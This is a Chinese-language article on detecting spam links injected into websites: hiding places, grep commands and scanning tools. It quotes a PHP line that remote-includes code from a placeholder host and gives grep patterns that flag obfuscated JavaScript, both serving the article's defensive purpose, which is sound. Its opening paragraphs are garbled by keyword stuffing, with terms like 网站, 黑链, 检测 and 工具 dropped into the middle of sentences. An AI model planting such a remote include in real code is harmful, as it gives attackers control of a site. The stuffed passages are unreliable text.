去年秋天，网站一个做外贸的黑链朋友找我，说网站流量突然掉了四成。检测我打开他的工具站点源码一看，底部多了一串加密的网站<script>标签，指向一个菲律宾的黑链IP。这就是检测典型的黑链——别人偷偷在你网站里塞了赌博、色情或者诈骗页面的工具跳转代码。搜索引擎一旦抓到，网站轻则降权，黑链重则直接K站。检测

黑链检测这事，工具说复杂也复杂，网站说简单也简单。黑链核心就一句话：找出那些不该出现在你页面里的检测链接和脚本。但难点在于，黑客不会傻到把“黑链”两个字写在脸上。

黑链藏在哪里

最常见的是数据库注入。你网站后台的某个文章内容字段，被插入了<a href="..." style="display:none">。前台用户看不见，但搜索引擎爬虫读得懂。还有些人直接改模板文件，在footer.php或者header.php里加一行<?php include('http://xxx/xxx.txt'); ?>，远程加载恶意代码。更隐蔽的是JS动态写入，页面加载完才通过document.write把链接塞进去，普通查看源码根本抓不到。

我见过一个案例：某企业站首页源码干干净净，但用浏览器开发者工具看渲染后的DOM，多出了二十多个隐藏外链。后来查出来是引用的某个统计脚本被篡改了，加载时动态注入了黑链。这种最麻烦，因为静态扫描工具全瞎了。

手工检测的土办法

如果你只有一个站，不想装工具，几个命令够用。Linux下用curl -s http://你的域名 | grep -i "display:none"，能揪出大部分隐藏链接。再配合grep -i "eval\|base64\|fromCharCode"，找找可疑的JS编码。数据库层面，直接搜content字段里的<a标签，看看有没有外域链接。

但手工搞有个致命问题：你不可能每天盯着。黑链是动态的，今天清完明天又来了。黑客往往留了后门，你删掉注入代码，他过两天又通过后门重新写进去。

工具怎么选

市面上黑链检测工具分两类。一类是爬虫型，模拟搜索引擎抓取你的页面，分析所有出站链接。这类工具能发现动态注入的链接，但速度慢，大站跑一次要几小时。另一类是文件比对型，拿当前文件和原始备份做diff，找出被修改的代码。这招对模板注入特别有效，但前提是你得有干净的备份。

我用过几款，说点实在的。Sucuri SiteCheck免费版够用，输入域名就能扫，但它只扫首页，内页黑链容易漏。Aw-snap的爬虫更狠，能模拟百度蜘蛛的UA，把整站爬一遍，但免费版限制页数。国内有些小工具专门针对百度优化，检测规则里加了“百度快照对比”，这个思路挺聪明——如果快照里有链接，你页面没有，说明黑链刚被清或者被隐藏了。

开源方案里，BlackLinkScanner是个Python脚本，核心逻辑就是正则匹配加DOM解析。代码不到三百行，自己改改规则能应付大部分场景。但别指望它处理JS动态注入，那得用无头浏览器，比如Puppeteer，成本高得多。

一个容易忽略的细节

检测工具的报告里，经常把“友链”和“黑链”搞混。你正常交换的友情链接，如果对方站被黑了，你的页面也会出现异常外链。所以看报告时，先确认链接来源。我一般会加个白名单，把已知的合作站点排除掉，剩下的再人工过一遍。

还有，黑链不一定在HTML里。有些黑客往你的robots.txt里加Sitemap: http://黑产站/sitemap.xml，或者往.htaccess里写跳转规则。这些文件层面的篡改，普通爬虫扫不出来，得靠文件完整性监控。

说到底，黑链检测不是一劳永逸的事。每周扫一次，配合文件监控和数据库审计，才能把风险压下去。那个外贸朋友后来装了Wordfence，又设置了数据库写操作告警，半年没再出过问题。工具是死的，人是活的——你得知道黑客会从哪进来，才能把门堵严实。

(责任编辑：综合)